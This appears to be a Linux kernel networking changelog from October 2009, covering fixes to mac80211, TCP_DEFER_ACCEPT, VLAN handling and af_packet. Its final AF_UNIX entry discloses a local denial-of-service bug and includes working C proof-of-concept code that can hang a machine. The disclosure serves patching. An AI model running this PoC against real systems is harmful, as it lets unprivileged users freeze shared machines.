2009-10-27mac80211: Learn about mesh portals from multicast trafficJavier Cardona
Mesh portals proxy traffic for nodes external to the mesh. When a proxied frame is received by a mesh interface, it should update its mesh portal table. This was only happening for unicast frames.

2009-10-27mac80211: fix for incorrect sequence number on hostapd injected framesBjörn Smedman
When hostapd injects a frame, e.g. an authentication or association response, mac80211 looks for a suitable access point virtual interface to associate the frame with based on its source address. This makes it possible e.g. to correctly assign sequence numbers to the frames. A small typo in the ethernet address comparison statement caused a failure to find a suitable ap interface. Sequence numbers on such frames where therefore left unassigned causing some clients (especially windows-based 11b/g clients) to reject them and fail to authenticate or associate with the access point. This patch fixes the typo in the address comparison statement.

2009-10-27cfg80211: sme: deauthenticate on assoc failureJohannes Berg
When the in-kernel SME gets an association failure from the AP we don't deauthenticate, and thus get into a very confused state which will lead to warnings later on. Fix this by actually deauthenticating when the AP indicates an association failure.

2009-10-27mac80211: keep auth state when assoc failsJohannes Berg
When association fails, we should stay authenticated, which in mac80211 is represented by the existence of the mlme work struct, so we cannot free that, instead we need to just set it to idle.

2009-10-27mac80211: fix ibss joiningReinette Chatre
Recent commit "mac80211: fix logic error ibss merge bssid check" fixed joining of ibss cell when static bssid is provided. In this case ifibss->bssid is set before the cell is joined and comparing that address to a bss should thus always succeed. Unfortunately this change broke the other case of joining a ibss cell without providing a static bssid where the value of ifibss->bssid is not set before the cell is joined. Since ifibss->bssid may be set before or after joining the cell we do not learn anything by comparing it to a known bss. Remove this check.

2009-10-27vlan: allow null VLAN ID to be usedEric Dumazet
We currently use a 16 bit field (vlan_tci) to store VLAN ID/PRIO on a skb. Null value is used as a special value, meaning vlan tagging not enabled. This forbids use of null vlan ID. As pointed by David, some drivers use the 3 high order bits (PRIO) As VLAN ID is 12 bits, we can use the remaining bit (CFI) as a flag, and allow null VLAN ID. In case future code really wants to use VLAN_CFI_MASK, we'll have to use a bit outside of vlan_tci. #define VLAN_PRIO_MASK 0xe000 /* Priority Code Point */ #define VLAN_PRIO_SHIFT 13 #define VLAN_CFI_MASK 0x1000 /* Canonical Format Indicator */ #define VLAN_TAG_PRESENT VLAN_CFI_MASK #define VLAN_VID_MASK 0x0fff /* VLAN Identifier */ Reported-by: Gertjan Hofman <gertjan_hofman@yahoo.com> Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: David S.

2009-10-24rtnetlink: speedup rtnl_dump_ifinfo()Eric Dumazet
When handling large number of netdevice, rtnl_dump_ifinfo() is very slow because it has O(N^2) complexity. Instead of scanning one single list, we can use the 256 sub lists of the dev_index hash table.

2009-10-20net: Use sk_tx_queue_mapping for connected socketsKrishna Kumar
For connected sockets, the first run of dev_pick_tx saves the calculated txq in sk_tx_queue_mapping. This is not saved if either the device has a queue select or the socket is not connected.

Introduce sk_tx_queue_mapping; and functions that set, test and get this value. Reset sk_tx_queue_mapping to -1 whenever the dst cache is set/reset, and in socket alloc. Setting txq to -1 and using valid txq=<0 to n-1> allows the tx path to use the value of sk_tx_queue_mapping directly instead of subtracting 1 on every tx.

2009-10-20af_packet: Avoid cache line dirtyingEric Dumazet
While doing multiple captures, I found af_packet was dirtying cache line containing its prot_hook. This slow down machines where several cpus are necessary to handle capture traffic, as each prot_hook is traversed for each packet coming in or out the host. This patches moves "struct packet_type prot_hook" to the end of packet_sock, and uses a ____cacheline_aligned_in_smp to make sure this remains shared by all cpus.

ipv4/ipv6 setsockopt(IP_MULTICAST_IF) have dubious __dev_get_by_index() calls. This function should be called only with RTNL or dev_base_lock held, or reader could see a corrupt hash chain and eventually enter an endless loop. Fix is to call dev_get_by_index()/dev_put(). If this happens to be performance critical, we could define a new dev_exist_by_index() function to avoid touching dev refcount.

Fix TCP_DEFER_ACCEPT conversion between seconds and retransmission to match the TCP SYN-ACK retransmission periods because the time is converted to such retransmissions. The old algorithm selects one more retransmission in some cases. Allow up to 255 retransmissions.

2009-10-19tcp: reduce SYN-ACK retrans for TCP_DEFER_ACCEPTJulian Anastasov
Change SYN-ACK retransmitting code for the TCP_DEFER_ACCEPT users to not retransmit SYN-ACKs during the deferring period if ACK from client was received. The goal is to reduce traffic during the deferring period. When the period is finished we continue with sending SYN-ACKs (at least one) but this time any traffic from client will change the request to established socket allowing application to terminate it properly. Also, do not drop acked request if sending of SYN-ACK fails. Signed-off-by: Julian Anastasov <ja@ssi.bg> Acked-by: Eric Dumazet <eric.dumazet@gmail.com> Signed-off-by: David S.

2009-10-19tcp: accept socket after TCP_DEFER_ACCEPT periodJulian Anastasov
Willy Tarreau and many other folks in recent years were concerned what happens when the TCP_DEFER_ACCEPT period expires for clients which sent ACK packet. They prefer clients that actively resend ACK on our SYN-ACK retransmissions to be converted from open requests to sockets and queued to the listener for accepting after the deferring period is finished. Then application server can decide to wait longer for data or to properly terminate the connection with FIN if read() returns EAGAIN which is an indication for accepting after the deferring period. This change still can have side effects for applications that expect always to see data on the accepted socket. Others can be prepared to work in both modes (with or without TCP_DEFER_ACCEPT period) and their data processing can ignore the read=EAGAIN notification and to allocate resources for clients which proved to have no data to send during the deferring period. OTOH, servers that use TCP_DEFER_ACCEPT=1 as flag (not as a timeout) to wait for data will notice clients that didn't send data for 3 seconds but that still resend ACKs. Thanks to Willy Tarreau for the initial idea and to Eric Dumazet for the review and testing the change.

2009-10-18AF_UNIX: Fix deadlock on connecting to shutdown socketTomoki Sekiyama
I found a deadlock bug in UNIX domain socket, which makes able to DoS attack against the local machine by non-root users. How to reproduce: 1. Make a listening AF_UNIX/SOCK_STREAM socket with an abstruct namespace(*), and shutdown(2) it. 2. Repeat connect(2)ing to the listening socket from the other sockets until the connection backlog is full-filled. 3. connect(2) takes the CPU forever. If every core is taken, the system hangs. PoC code: (Run as many times as cores on SMP machines.) int main(void) { int ret; int csd; int lsd; struct sockaddr_un sun; /* make an abstruct name address (*) */ memset(&sun, 0, sizeof(sun)); sun.sun_family = PF_UNIX; sprintf(&sun.sun_path[1], "%d", getpid()); /* create the listening socket and shutdown */ lsd = socket(AF_UNIX, SOCK_STREAM, 0); bind(lsd, (struct sockaddr *)&sun, sizeof(sun)); listen(lsd, 1); shutdown(lsd, SHUT_RDWR); /* connect loop */ alarm(15); /* forcely exit the loop after 15 sec */ for (;;) { csd = socket(AF_UNIX, SOCK_STREAM, 0); ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun)); if (-1 == ret) { perror("connect()"); break; } puts("Connection OK"); } return 0; } (*) Make sun_path[0] = 0 to use the abstruct namespace. If a file-based socket is used, the system doesn't deadlock because of context switches in the file system layer. Why this happens: Error checks between unix_socket_connect() and unix_wait_for_peer() are inconsistent. The former calls the latter to wait until the backlog is processed. Despite the latter returns without doing anything when the socket is shutdown, the former doesn't check the shutdown state and just retries calling the latter forever. Patch: The patch below adds shutdown check into unix_socket_connect(), so connect(2) to the shutdown socket will return -ECONREFUSED.
